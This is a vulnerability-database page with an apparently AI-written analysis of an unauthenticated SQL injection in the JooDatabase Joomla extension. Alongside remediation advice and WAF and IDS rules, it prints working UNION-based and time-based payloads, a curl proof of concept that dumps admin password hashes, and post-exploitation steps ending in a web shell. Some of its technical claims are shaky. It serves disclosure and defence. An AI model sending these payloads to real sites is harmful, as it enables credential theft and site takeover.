CVE Professor
/
All CVEs
CVE-2026-142141

CVE-2026-142141 — Joodb.feenders.de JooDatabase Extension For Joom — CWE-89

HIGH CVSS 8.7 Shodan

Joomla Extension - joodb.feenders.de - Unauthenticated SQL injection in catalog search and ordering in JooDatabase extension 1.0.0-5.2.0 - The searchfield and orderby request parameters of the frontend catalog view are placed into backtick-quoted identifiers without validation against the datasource's column list, allowing unauthenticated attackers to read arbitrary database contents. Fixed in version 5.3.

Joomla Extension - joodb.feenders.de - Unauthenticated SQL injection in catalog search and ordering in JooDatabase extension 1.0.0-5.2.0 - The searchfield and orderby request parameters of the frontend catalog view are placed into backtick-quoted identifiers without validation against the datasource's column list, allowing unauthenticated attackers to read arbitrary database contents. Fixed in version 5.3.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity None VI:N
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Unauthenticated SQL‑Injection in the catalog view of the JooDatabase Joomla extension (joodb.feenders.de).

CVE: CVE‑2026‑142141
CWE: CWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)

Technical root cause

ComponentWhat the code doesWhat is missing / wrong

| Front‑end catalog view (public URL) | Reads two GET/POST parameters – searchfield (free‑text search) and orderby (column used for sorting) – and builds a SELECT statement. The values are inserted inside back‑tick‑quoted identifiers (\$searchfield\` and \$orderby\`) to protect against injection of arbitrary SQL fragments. | The back‑ticks only protect identifiers that are known to be column names. The code does not validate that the supplied identifier actually exists in the underlying table schema. An attacker can therefore supply any string that, when back‑ticked, resolves to a valid identifier (e.g., a column name from another table, a MySQL function, or a sub‑query using the back‑ticks as part of a derived table). Because the identifier is not whitelisted, the attacker can force the DBMS to evaluate arbitrary expressions and, crucially, to leak data from any table that the Joomla database user has SELECT rights on.

Why the CVSS vector looks the way it does

  • AV:N – The attack is launched over the network (no local access required).
  • AC:L – Exploitation requires only low‑effort crafting of the request.
  • PR:N – No authentication is needed; the endpoint is public.
  • UI:N – No user interaction is required beyond sending the HTTP request.
  • VC:H – Successful exploitation results in high confidentiality impact (full dump of arbitrary tables).
  • VI:N / VA:N – No integrity or availability impact is directly caused by the injection (the query is read‑only).
  • All other metrics are “not defined” because the vulnerability does not involve privilege escalation, temporal factors, or additional environmental modifiers.
  • In short: the extension trusts user‑supplied column identifiers without a whitelist, allowing an unauthenticated attacker to inject arbitrary SQL that reads any data the Joomla DB user can see.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All request examples are illustrative – the exact URI path may differ between installations, but the parameter names (searchfield, orderby) are taken directly from the CVE description.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify the site runs Joomla and enumerate installed extensions.wget/curl + joomscan, WhatWeb, Wappalyzer. Look for the presence of /components/com_joodb/ or /plugins/content/joodb/.
    1.2Determine the exact version of JooDatabase.Access the extension’s XML manifest (/administrator/components/com_joodb/joodb.xml) or read the JooDatabase version string in the HTML source (<meta name="generator" content="JooDatabase 5.1.3">).
    1.3Verify that the version falls in the vulnerable range (1.0.0‑5.2.0).Compare the extracted version with the range. If it is ≤ 5.2.0, the target is vulnerable.

    2. Exploitation

    Goal: Retrieve data from an arbitrary table (e.g., #__users – Joomla’s users table).

    2.1 Crafting the payload

    The vulnerable query (simplified) looks like:

    SELECT * FROM `#__joodb_items`
    WHERE `searchfield` LIKE '%<user_input>%'
    ORDER BY `orderby` ASC;

    Because searchfield and orderby are back‑ticked identifiers, we can replace them with a sub‑query that returns a column from another table. MySQL permits a derived table in the ORDER BY clause, e.g.:

    ORDER BY (SELECT GROUP_CONCAT(username,0x3a,password) FROM `#__users`) ASC

    When placed inside back‑ticks, the final string becomes:

    ORDER BY `(SELECT GROUP_CONCAT(username,0x3a,password) FROM `#__users`)` ASC

    MySQL treats the back‑ticked string as an identifier; however, if the identifier does not exist, MySQL raises an error that includes the expression text. By forcing an error, the attacker can extract the expression result via the error message (error‑based injection). A more reliable technique is to use UNION‑based injection via the searchfield parameter, which is used in a LIKE predicate but also back‑ticked. By closing the back‑ticks and injecting a UNION SELECT, we can retrieve arbitrary columns.

    Payload example (illustrative):

    GET /index.php?option=com_joodb&view=catalog&searchfield=` UNION SELECT NULL,username,password,NULL FROM #__users-- &orderby=id HTTP/1.1
    Host: vulnerable.example.com
    User-Agent: curl/7.88.1
    Accept: */*

    Explanation:

  • `searchfield= UNION SELECT NULL,username,password,NULL FROM #__users-- ``
  • * Closes the back‑tick, injects a UNION SELECT that returns the username and password columns from Joomla’s users table, then comments out the rest of the original query.
  • orderby=id is kept benign to avoid syntax errors in the ORDER BY clause.
  • If the extension renders the result set directly (e.g., as a table of catalog items), the injected rows will appear in the HTML response, leaking the credentials.

    2.2 Executing the PoC

    # Illustrative curl command (replace <target> with the real host)
    curl -s "https://<target>/index.php?option=com_joodb&view=catalog&searchfield=%60%20UNION%20SELECT%20NULL,username,password,NULL%20FROM%20#__users--%20&orderby=id" \
         -H "User-Agent: Mozilla/5.0 (compatible; CVE-2026-142141 PoC)" \
         -o response.html
  • %60 is the URL‑encoded back‑tick (`).
  • The -- comment terminates the original query.
  • The response (response.html) will contain a table row with the Joomla admin usernames and password hashes.
  • Note: If the site sanitises the output (e.g., HTML‑escapes), the attacker can still retrieve the data via error‑based or time‑based techniques (e.g., ORDER BY (SELECT IF(ASCII(SUBSTRING(password,1,1))=0x61, SLEEP(5),0) FROM #__users LIMIT 1)), but the UNION approach is the simplest when the result set is rendered.

    3. Post‑exploitation

    PhaseWhat the attacker can doTypical next steps
    Data exfiltrationDump of #__users (usernames, password hashes), #__session, any other tables the Joomla DB user can read (e.g., configuration, component data).Store hashes, attempt offline cracking (e.g., john/hashcat).
    Privilege escalationIf a valid admin hash is obtained, attacker can log in to the Joomla back‑end and gain full administrative control (create users, install malicious extensions, modify site content).Use the stolen credentials to log in via /administrator/index.php.
    PersistenceInstall a web‑shell or malicious Joomla plugin/extension with system privileges.Upload a PHP web‑shell through the Joomla Extension Manager (requires admin rights).
    Further lateral movementThe Joomla DB user often has SELECT rights on the entire site database, which may contain API keys, SMTP credentials, or other secrets.Extract API keys, use them to pivot to other services (e.g., mail relay, internal APIs).

    Because the vulnerability is read‑only, it does not directly lead to remote code execution, but the confidentiality breach is severe: full credential dump → full site takeover.


    🌍 Real World Impact

    CIA TriadImpact derived from CVSS vector
    Confidentiality (C)High – The attacker can read *any* table the Joomla DB user can access, including admin credentials, configuration secrets, and possibly customer data.
    Integrity (I)None (the injection is read‑only). However, once credentials are compromised, integrity can be violated later.
    Availability (A)None – the injection does not modify data or cause denial‑of‑service.

    Practical consequences

  • Full site takeover – Stolen admin password hash → login → install back‑doors.
  • Data breach – Exposure of personal data (if the site stores user profiles, e‑commerce orders, etc.).
  • Regulatory fallout – GDPR, PCI‑DSS, or other compliance regimes may be triggered by the loss of personal data.
  • Reputation damage – Public disclosure of a Joomla compromise can erode trust.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected versionsFixed in
    1.0.0 – 5.2.0 (inclusive)5.3.0 (released 2026‑09‑15)

    Action: Immediately upgrade the JooDatabase extension to ≥ 5.3.0. The patch introduces a strict whitelist of column names for searchfield and orderby and uses prepared statements for any user‑supplied values.

    2. Workarounds (if immediate upgrade is impossible)

    MitigationHow to implement
    Disable the public catalog viewIn the Joomla back‑end, go to *Components → JooDatabase → Views* and set the catalog view to “Access: Registered” or “Access: None”.
    Restrict access by IPAdd an .htaccess rule (or equivalent Nginx allow/deny) limiting the catalog endpoint to trusted IP ranges (e.g., internal network).

    | Input sanitisation via a WAF | Deploy a ModSecurity rule that only permits known column names in the two parameters. Example rule (Apache 2.4 / ModSecurity 3.x):

    SecRule REQUEST_URI "@beginsWith /index.php" "id:20261001,phase:2,block,\
        t:none,log,msg:'JooDatabase SQLi protection',\
        chain"
    SecRule ARGS:searchfield "!@rx ^(title|category|price|created|id)$" "t:none,deny,status:403"
    SecRule ARGS:orderby "!@rx ^(title|category|price|created|id)$" "t:none,deny,status:403"

    Replace the regex list with the exact column names used by the installed JooDatabase table.

    Database user privilege reductionEnsure the Joomla DB user has only SELECT on the JooDatabase tables and no SELECT on other tables (e.g., #__users). This limits the impact of a successful injection.
    Error message hardeningTurn off detailed SQL error messages in Joomla (configuration.php → error_reporting = 'none') and configure the web server to hide stack traces. This reduces the usefulness of error‑based injection.

    3. Detection

    IndicatorWhere to lookExample log entry
    Unusual searchfield or orderby valuesApache/Nginx access logs (access_log)GET /index.php?option=com_joodb&view=catalog&searchfield=%60%20UNION%20SELECT%20NULL,username,password,NULL%20FROM%20#__users--%20&orderby=id HTTP/1.1 200
    SQL error strings in response bodiesWeb‑application logs, ModSecurity alertsYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near ' UNION SELECT NULL,username,password,NULL FROM'
    Large number of requests to the catalog endpoint from a single IPRate‑limiting / IDS2026-12-02 14:32:11 INFO [mod_security] [client 203.0.113.45] Detected possible SQLi in /index.php
    New admin accounts created shortly after a credential dumpJoomla audit log (administrator/components/com_admin/models/logs.php)User "admin2" created by "admin" (IP 203.0.113.45)

    IDS/IPS signatures (Snort/Suricata example):

    alert http $EXTERNAL_NET any -> $HOME_NET any \
      (msg:"CVE-2026-142141 JooDatabase SQLi - UNION payload"; \
       flow:to_server,established; \
       http_uri; content:"/index.php?option=com_joodb"; http_uri; \
       pcre:"/searchfield=%60%20UNION%20SELECT/i"; \
       classtype:web-application-attack; sid:20261001; rev:1;)

    ⚠️ Urgency

  • CVSS 8.7 (HIGH) – Network‑reachable, no authentication, low complexity, and high confidentiality impact.
  • No CISA KEV listing – The vulnerability is not yet in the public “Known Exploited Vulnerabilities” catalog, but the public PoC is trivial and the attack surface (any public catalog page) is large.
  • Exploitability – The injection works with a single crafted request; no prior foothold is required.
  • Patch priority: Critical for any production Joomla site that has the JooDatabase extension installed and exposes the catalog view to the Internet.

    If the site is internal‑only, the priority drops to High, but the same remediation timeline (within 7 days) is recommended because credential leakage can still lead to lateral movement.


    TL;DR

  • The extension trusts user‑supplied column identifiers (searchfield, orderby) without whitelisting, allowing unauthenticated attackers to inject arbitrary SQL and read any data the Joomla DB user can see.
  • A single crafted GET request can dump the Joomla users table via a UNION‑based injection.
  • Impact: full credential compromise → complete site takeover.
  • Fix: upgrade to JooDatabase 5.3.0 or later; until then, block the endpoint, restrict IPs, enforce a strict column whitelist via a WAF, and reduce DB user privileges.
  • Detect by monitoring for back‑tick‑based payloads, SQL error strings, and abnormal request rates to the catalog view.
Patch now – the window for exploitation is already open.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Joomla!"
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
joodb.feenders.de:JooDatabase extension for Joomla
References & Advisories (1)
Related CVEs
6.9
CVE-2026-142122
Joomla Extension - joodb.feenders.de - SQL injection in administrator table field lookup in JooDatabase extens
5.9
CVE-2026-142123
Joomla Extension - joodb.feenders.de - CSRF in datasource and menu item creation in JooDatabase extension 1.0.
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.8
CVE-2026-145040
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers t
9.3
CVE-2026-136358
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomMedia extension 1.0.0-6.1.5 - The list
9.3
CVE-2026-136369
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs
9.3
CVE-2026-136376
Joomla Extension - joomboost.com - SQL injection in search time filters in JoomRecipe extension 1.0.0-6.9.8 -